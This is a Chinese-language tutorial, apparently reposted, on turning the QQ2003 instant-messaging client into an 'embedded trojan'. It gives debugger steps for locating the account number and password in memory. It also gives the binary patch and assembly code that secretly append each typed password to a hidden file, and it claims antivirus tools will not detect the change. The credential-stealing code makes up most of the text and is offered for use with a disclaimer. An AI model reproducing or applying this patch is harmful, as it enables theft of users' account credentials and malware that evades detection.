| 关键词: nbsp 密码 push 文件 eax 号码 Call 木马 长度 dword |
谨以此文献给FCG : http://www.fcgchina.com/ctb 。在此感谢看雪论坛关心和支持我的朋友,感谢Laoqian[FCG]大哥对我的支持和鼓励。一并感谢NE365的死党 :) 木马的作用和危害自不必多说。当前流行的木马,基本都是一个单独的程序,该程序运行在系统中,除了监测用户特定操作,其他和一般程序没什么区别。我这里说的所谓的“嵌入式木马”,并不是一个单独的程序,该“木马”像病毒一样嵌入目标软件,每当该软件被启动,木马程序也就被激活。这种做法好处很明显:1、占用系统资源极少;2、速度快,效率高;3、难以被查杀。 这里用QQ举例,修改QQ程序,让QQ读取用户账号和密码。 需要声明的有以下几点: 1、读取的账号和密码是即将被QQ处理的数据,因此,不管用户输入密码的时候,采用复制或者软键盘,都不会被幸免; 2、不会被木马克星之类的软件查杀。由于市面上QQ修改版很多,估计短期内也不会被各种杀毒软件查杀; 3、我们不对该文章产生的任何后果负责。 4、由于版本问题,如您照此进行试验而未果,我想是很正常的。盗取QQ2003密码和号码作者:nbw www.vxer.com一、查找密码和号码的存放位置保存号码处:如果输入号码位数小于5便弹出提示.所以bpx messageboxa.停留在一处,在此处F12,回到外面一层,向上查找,到::* Reference To: QQHelperInDll.?CheckQQUinValid@@YAHVCString@@@Z, Ord:0016h |:00414D76 FF15BC925300 Call dword ptr [005392BC]:00414D7C 3BC3 cmp eax, ebx:00414D7E 59 pop ecx:00414D7F 74D0 je 00414D51 ;如果小于5便不跳上面的call追进去,其领空为:QQHelperInDll.dll .进去查看::1000A260 8B4508 mov eax, dword ptr [ebp+08] ;[ebp+08]--->用户QQ号码:1000A263 8B40F8 mov eax, dword ptr [eax-08] ;[eax-08]--->QQ号码的长度 :1000A266 83F805 cmp eax, 00000005 ;判断号码长度是否大于5 :1000A269 7D05 jge 1000A270保存密码处: 找到了号码存放位置以后,填写号码和密码点下一步(最好填5位以下的密码,这样就不用进入下一个界面).在上面的mov eax, dword ptr [ebp+08]处拦截下来.下命令d eax,看到自己的号码.向上不远便是自己输入的密码.这个存放密码的位置是变化的.比如说是在016F:0098EC1C处.下命令bpm 016F:0098EC1C w .回到QQ,再次输入一个密码,被拦截,可以pmodule回到QQ领空,然后再次F12,跳出来.可以找到关键的call是: :0041370D Call 004FE0A2 这是一个MFC类库中的函数.有兴趣可以进去看一看,很简单.我就不说了.总之这个函数的返回值是:eax-->密码长度,ecx-->密码存放位置.嘿嘿,现在密码和号码全都有了.想干什么该我们说了算了. 我这里不能上网:(.. ,也没有QQ登录的纪录.如果有以前的登录纪录,就可以找到密码验证的地方,从而直接看出来密码和号码的位置,而不用象我这样还要处理QQHelperInDll.dll .二、保存号码和密码 首先,处理密码的保存。因为密码显示区在QQ主文件领空.比较方便修改.查找剩余空间:用我写的"剩余空间查看器"分析,部分结果如下: 名称 RVA OA 尺寸D 可写否 .text 0013737e 0013737e 3202 否 .rdata 0018b756 0018b756 2218 否就说从文件偏移地址0018b756开始,有2218字节可用空间.但是.rdata段为不可写,无法利用这里的空间声明变量.不过不要紧,用PEditor把这个节区属性改成可写便可以了.事实证明,整个文件中只有.rdata区段最后的剩余空间可以被正确加载,也只有这区区2218字节供我们利用:(..三、修改文件,跳转到我们的代码区源文件为::0041370D E890A90E00 Call 004FE0A2:00413712 8D8624040000 lea eax, dword ptr [esi+00000424]:00413718 50 push eax:00413719 6844010000 push 00000144:0041371E 57 push edi改为::0041370D E890A90E00 Call 004FE0A2:00413712 jmp 18b78c ;我们的代码将填写在58b78c:00413717 nop:00413718 50 push eax:00413719 6844010000 push 00000144:0041371E 57 push edi中间减少了::00413712 8D8624040000 lea eax, dword ptr [esi+00000424] 记录下来,以后补上四、需要用的函数调用地址CreateFileA : 538198SetFilePointer : 53819CWriteFile : 5381A0五、填写保存密码的代码改为::0041370D E890A90E00 Call 004FE0A2:00413712 jmp 18b78c ;我们的代码将填写在537450:00413717 nop:00413718 50 push eax:00413719 6844010000 push 00000144:0041371E 57 push edi中间减少了::00413712 8D8624040000 lea eax, dword ptr [esi+00000424] 记录下来,以后补上变量组织:18b760 : "C:\WINDOWS\cnofig"----保存号码的文件地址.18b774 : WriteFile函数的一个参数.对我们来说没用.不过不可少18b780 : 文件句柄 18b784 : 密码地址 18b788 : 密码长度:0058b78c test eax,eax ;有很多时候需要跳转到这里,如果不加区分就纪录,会导致很多资料被纪录. 如果eax是空,则不纪录.当然,这也或许是用户的密码本身就是空 jz @F:0058b790 pushad ;代码中多插几个nop。防止以后修改代码的时候没有足够空间 add ecx,eax ;在密码最后面加一个#号用于区分 mov byte [ecx],23 sub ecx,eax inc eax mov [0058b784],ecx ;密码地址 mov [0058b788],eax ;密码长度 push 00000000 push 00000002 ;FILE_ATTRIBUTE_HIDDEN,建立文件时使文件属性为隐藏 push 00000004 ;OPEN_ALWAYS.如果不存在该文件,则建立之 push 00000000 push 00000003 ;允许其他进程使用文件(为了不发生意外,所以这样设置) push C0000000 push 0058b760 ;pointer to name of the file * Reference To: kernel32.CreateFileA, Ord:0030h | Call 538198 mov [0058b780],eax ;保存文件句柄 nop nop nop nop push 00000002 ;FILE_END.设置文件末尾 push 00000000 push 00000000 ;设定文件指针为文件末尾 push eax* Reference To: kernel32.SetFilePointer, Ord:0236h | Call 53819C nop nop nop push 00000000 push 0058b774 push [0058b788] ;密码长度 push [0058b784] ;密码地址 push [0058b780] ;文件句柄* Reference To: kernel32.WriteFile, Ord:029Eh | Call 005381A0 popad@@: lea eax, dword ptr [esi+00000424] & |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|